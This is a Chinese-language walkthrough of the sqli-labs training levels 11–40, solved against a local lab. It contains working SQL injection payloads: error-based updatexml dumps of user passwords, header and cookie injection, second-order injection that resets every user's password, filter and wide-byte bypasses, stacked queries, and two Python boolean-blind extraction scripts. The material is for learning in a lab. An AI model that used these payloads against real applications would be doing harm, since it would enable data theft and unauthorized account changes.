sqli-labs-master

Less-11

就是一个post注入测出闭合方式为单引号,没有过滤

Less-12

测出闭合方式为”),没有任何过滤

Less-13

测出闭合方式之后无回显优先尝试报错注入updatexml,依旧没有过滤

Less-14

闭合方式变了,报错注入依然可以

Less-15

一开始测闭合没测出来,因为不管我用什么都没发现报错,索性就是直接sqlmap去试一下

1
sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-15/ --forms

sqlmap确实跑出来了,闭合方式是单引号,但是没有语法报错的回显

image-20251222220207921

这就意味着它对语法错误的一个隐藏,这是你就是不能单独的去fuzz它的单引号了,利用布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

url = "http://127.0.0.1/sqli-labs-master/Less-15/"
success_mark = "flag.jpg" # 登录成功时页面包含的关键词


def inject():
result = ""
for i in range(1, 10):
low = 32
high = 126
mid = (low + high) // 2
while low <= high:
payload = f"admin' and ascii(substr((select database()),{i},1))>{mid}#"
data = {
"uname": payload,
"passwd": "1",
"submit": "Submit"
}
try:
response = requests.post(url, data=data)
if success_mark in response.text:
low = mid + 1
else:
high = mid - 1
except Exception as e:
print(f"Error: {e}")
break

mid = (low + high) // 2
if low <= 32:
break
result += chr(low)
print(f"[+] 正在猜解第 {i} 位: {result}")
print(f"\n[!] 最终结果: {result}")
if __name__ == "__main__":
inject()

Less-16

闭合方式变成了”),依旧是无回显,报错注入不行,那么就是布尔盲注

Less-17(update注入)

开始在uname测试啥也没测出来,然后就看源码去了!这里就是我小丑了,更新密码这玩意就应该想到update,看了源码uname有过滤,先不考虑

1
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

这里的passwd没有过滤直接打

1
2
3
passwd=1111' and updatexml(2,concat(0x7e,(select password from users)),0)#&submit=Submit&uname=admin

You can't specify target table 'users' for update in FROM clause

这里就是表冲突了,就是你update的表和你select查询的表重复了,用一下嵌套

1
passwd=1111' and updatexml(2,concat(0x7e,(select group_concat(password) from (select password from users) as temp)),0)#&submit=Submit&uname=admin

关键是:黑盒想到update,还有就是嵌套去避免冲突

Less-18

黑盒打不出,还是去看源码打的,在UA头可以注入,注意得先登录进去

1
User-Agent:11111' and updatexml(1,concat(0x7e,(select group_concat(password) from users)),1), 123, 'rufeii')#

然后在别人那学到

1
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

这个相当于就不用去考虑插入了几条数据

白盒打出来了,想想黑盒的思路(有点事后诸葛亮了)

image-20251223211536324

没有任何操作就是来了ip,那么这里就是没有进行数据库查询之前就是获取了ip,然后试了一下没有xff注入。应该是要登录进去,不登录的话………

你不管是xff和UA头进行注入,它无非就是两种场景:1,限制访问 2,记录日志

这里的话就是考虑记录,那你记录的话一般是跟用户一起记录的对吧,所以肯定要先登录,登录之后测出注入点就是去猜后端语句了

Less-19

Referer注入

Less-20

cookie注入

Less-21

cookie变成了base64加密

Less-22

同 21 ,单引号换成双引号即可

Less-23

注释符没了,闭合就好

1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(password) from users)),1) or '1'='1

Less-24

首先注册用户登录进去,有个修改密码的操作,符合二次注入的测试条件,但是注册用户那里限制了字长只能20个,这就不好办了,但是可以改其它用户的密码

1
注册用户'or'1'='1'#

改密码就全部改了

image-20251226171429344

Less-25

过滤or和and,其实不然其实是置空这两个玩意,所以直接双写绕过即可

Less-25a

字符型注入,其它与上题差不多

1
?id=0 union select 1,2,4%23

Less-26(无空格和注释符)

题目不能用空格了,空格的替代品也没有了,那么能不能不用空格呢?那就用逻辑符||和&&,这里我采用报错注入,注释也不能用,那就闭合

1
2
3
表:1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1)||'1'='1

字段:?id=1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()%26%26table_name='users'))),1)||'1'='1

Less-26a

报错没有了,搞了半天,直接布尔盲注,一开始&&在脚本里没编码,最终逐步排错到,一般都是二分法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url = "http://127.0.0.1/sqli-labs-master/Less-26a/"
result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 126

while head < tail: #由于确定flag一定在可见字符的范围内,所以等左右指针重合时,那就是我们需要的字符了
mid = (head + tail) >> 1 #等价于(head+tail)//2整数除法
payload = f"?id=0'||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()%26%26table_name='users')),{i},1))>{mid},1,0)||'1'='2"
r = requests.get(url + payload)
if "Your Password:999" in r.text:
head = mid + 1
else:
tail = mid

if head != 32: #用于判断是否找完了flag
result += chr(head)
else:
break
print(result)
#二分法脚本

Less-27

过滤的不全,注释没有了用%00截断

1
?id=00000'%0aUniOn%0aSeLect%0a1,2,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers);%00

Less-27a

“闭合

1
?id=999999"%0aUnioN%0aSelecT%0a1,2,(selECt%0agroup_concat(username,%27:%27,password)%0afrom%0ausers);%00

Less-28

当你发现注入语句没什么问题的时候,可以考虑一下闭合方式的问题

1
2
3
'(1'||'1'='1)'如果闭合方式是'()',你用1'||'1'='1也是可以的
?id=1')%0aorder%0aby%0a3;%00
后面也是没什么难度

Less-28a

1
2
3
4
5
6
//$id= preg_replace('/[\/\*]/',"", $id);				//strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.

payload:

1
?id=000')%0auniounion selectn select%0a1,2,(select%0agroup_concat(password)%0afrom%0ausers);%00

preg_replace('/select/m',"", $id);这玩意也可以双写过,置空就双写就完事了XD

Less-29~31

环境懒得搭建了,这题是两层服务器架构

在这种架构中,服务器端通常由两部分组成:一个是以Tomcat为引擎的JSP型服务器,另一个是以Apache为引擎的PHP服务器。在实际运作中,真正提供Web服务的是PHP服务器。当客户端访问服务器时,首先能够直接访问到Tomcat服务器,然后Tomcat服务器再向Apache服务器请求数据。

这种架构两种服务器对相同请求参数具有不同的处理特性,tomcat解析相同请求参数的第一个,apache取第二个,从而绕过tomcat的waf

1
?id=1&id=0' union select 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-32

首先正常的去测试发现引号被转义了,像这种被转义多半是addslashes(),关于这个函数的绕过就有:编码绕过和宽字节注入,但是这里应该没有解码函数所以只能考虑,宽字节注入

1
2
3
4
5
6
SET NAMES gbk编码为GBK编码时可以使用宽字节注入
单字节:每个字符只由一个字节组成?而一个字节8个bit也就意味着单字节字符只有2^8=256个字符,也就是ascii:0-255
宽字节:比如Unicode是一种所有的字符都使用两个字节编码的编码模式。存储:2个字节存储。
原理:为什么说gbk编码呢?
因为反斜杠的编码为%5c,而在GBK编码中,%df%5c是繁体字“連”
所以可以通过1%df'经过addslashes()函数就是:1連'

也就是说得是GBK编码

1
0%df' union select 1,2,group_concat(schema_name) from information_schema.schemata%23

Less-33

和上一关一样

Less-34

登录框,引号被转义了,尝试了宽字节失败了,于是转向弱口令,但是弱口令登录进去啥也没有,果断看wp,发现是post对%df进行了url编码,所以我们需要抓包进行注入

image-20251230150031974

Less-35

受到前几关的影响,还以为又是字符型,引号绕过不了,没想到是数字型,然后后面引号没了的话用16进制就好了

1
?id=1000 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

Less-36

字符型然后引号被转义,宽字节注入

1
?id=000%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

Less-37

post

1
uname=ad%df'%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273%23&passwd=fasdf&submit=Submit

Less-38(堆叠注入)

正常打也行,但是这题本意考堆叠,php中mysqli_multi_query()函数可以执行多条语句

1
?id=1';select(sleep(5))%23

这个后面的sleep(5)并没有执行,这是因为后端语句没有处理第二个结果,可以简单的理解成执行完第一个语句就直接拿结果返回了,虽然第二个语句也会执行,也就是说现在第二个语句不会影响页面的回显,我们可以堆叠写入webshell

Less-39

数字型的堆叠注入

Less-40

闭合方式为’)的堆叠

1
2
3
有鸡肋,你得知道当前的表名
爆库:0');update users set password=(select database()) where id=1--+
.....后面类似

Less-41